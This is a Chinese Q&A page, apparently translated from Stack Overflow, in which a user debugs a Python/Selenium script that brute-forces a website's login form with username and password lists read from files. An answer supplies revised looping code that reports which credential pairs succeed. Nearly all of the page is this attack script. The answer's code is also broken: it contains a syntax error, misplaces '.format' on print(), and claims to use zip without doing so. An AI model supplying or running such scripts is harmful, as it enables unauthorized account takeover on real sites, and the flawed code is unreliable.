首页 > 解决方案 > Python-Selenium - 使用嵌套 For 循环获取用户名和密码列表的蛮力脚本

问题描述

我是 Python 新手,正在尝试使用 Python 和 Selenium 创建一个暴力破解脚本,以使用文本文件中的用户名和密码暴力破解网站。我面临的问题是脚本采用第一个用户名并针对密码列表运行它,然后停止。

我已经尝试在列表中迭代、嵌套 for 循环,甚至使用手动提供的用户名调用函数进行测试,但逻辑仍然只选择第一个用户名,然后一旦达到密码列表结束,应用程序就会完成。

任何帮助将不胜感激。

user_list = open('usernamelist.txt' , 'r')  #File containing usernames
pass_list = open('passwordlist.txt' , 'r')  #File containing passwords


for usernm in user_list:
    drv.get(target-website-url)
    for passwd in pass_list:
        username = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[1]/input")
        username.send_keys(usernm.split())
        password = drv.find_element_by_xpath("/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input")
        password.send_keys(passwd.split())
        submit = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit.click()
        time.sleep(1)
        drv.refresh()

        #To check for a successful or failed login using the current URL
        login_fail = drv.current_url
        if "redirect" in login_fail:
            print("User" + usernm + " and " + passwd + " combo FAILED")
        elif "dashboard" in login_fail:
            print("User" + usernm + " and " + passwd + " combo SUCCEEDED")
        drv.refresh()
        time.sleep(2)

标签: pythonseleniumsecurityselenium-webdriverbrute-force

解决方案


我建议使用 zip 函数,它从这两个列表中返回一个迭代器:

username = drv.find_element_by_xpath('/html/body/div/ui-view/uiview/div/div/div/div/div[3]/ui-view/div/form/div[1]/input')
password = drv.find_element_by_xpath('/html/body/div/ui-view/ui-view/div/div/div/div/div[3]/ui-view/div/form/div[2]/input')

for user user_list:
    for passw in pass_list:
        username.send_keys(user.strip()) # .strip() for removing \r and \n
        password.send_keys(passw.strip()) # .strip() for removing \r and \n

        submit = drv.find_element_by_xpath('//*[@id="loginButton"]')
        submit.click()
        time.sleep(2)

        login_fail = drv.find_element_by_class_name("appInfoBox__header")
        login_failure = (login_fail.get_attribute("innerHTML"))

        if "Login error" in login_failure:
            print("{user} and {passw} combo FAILED").format(
                user = user,
                passw = passw
            )
        else:
            print("{user} and {passw} combo SUCCEEDED").format(
                user = user,
                passw = passw
            )

        drv.refresh()
        time.sleep(2)

因为在您的情况下,代码遍历所有用户名将它们发送到指定元素,然后遍历密码并将它们发送到另一个元素,这就是它显示为一行的原因:

for usernm in user_list:
    username = drv.find_element_by_xpath('xpath')
    username.send_keys(usernm)

for passwd in pass_list:
     password = drv.find_element_by_xpath('xpath')
     password.send_keys(passwd)

推荐阅读